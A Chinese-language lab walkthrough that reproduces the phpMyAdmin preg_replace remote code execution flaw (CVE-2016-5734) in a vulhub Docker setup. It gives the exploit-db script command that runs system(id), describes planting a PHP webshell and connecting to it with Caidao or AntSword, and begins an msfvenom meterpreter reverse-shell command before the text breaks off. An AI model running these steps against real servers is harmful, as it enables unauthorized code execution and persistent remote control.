vulhub之phpmyadmin
PhpMyAdmin 4.0.x - 4.6.2 远程代码执行漏洞 (CVE-2016-5734)
漏洞简介
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace
函数第一个参数中。
在PHP5.4.7以前,preg_replace
的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。
以下版本受到影响:
- 4.0.10.16之前4.0.x版本
- 4.4.15.7之前4.4.x版本
- 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
第一个参数需要 e 标识符号,有了它可以执行第二个参数的命令;
第一个参数需要再第三个参数中有匹配,不然echo会返回第三个参数而不执行命令。
利用条件:需要知道数据库账号密码
Php版本: 4.3.0 ~5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了
环境搭建
运行如下命令启动PHP 5.3 + Apache + phpMyAdmin 4.4.15.6:
启动后,访问http://your-ip:8080
,即可看到phpMyAdmin的登录页面。使用root
:root
登录。
漏洞复现
POC https://www.exploit-db.com/exploits/40185/ 来复现漏洞。可以用kali自带的searchsploit功能搜索该脚本
searchsploit phpmyadmin
用-m参数下载该脚本
通过exp执行id命令:
-d是已经可以写的数据库,-c是待执行的PHP语句,如果没有指定表名,这个POC会创建一个名为prgpwn
的表。
python3 40185.py -u root --pwd="root" http://xx.xx.xx.xx:8080/ -c 'system(id);'
代码执行成功
通过exp写入一句话木马:
这里显示失败不用管,实际上木马已经写入,进入docker容器查看:
验证,访问木马地址:
使用菜刀成功连接:
这里注意如果你使用的是蚁剑连接的时候需要选择编码器为chr或者chr16,否则连不上
然后我们通过msfvenom生成木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.60.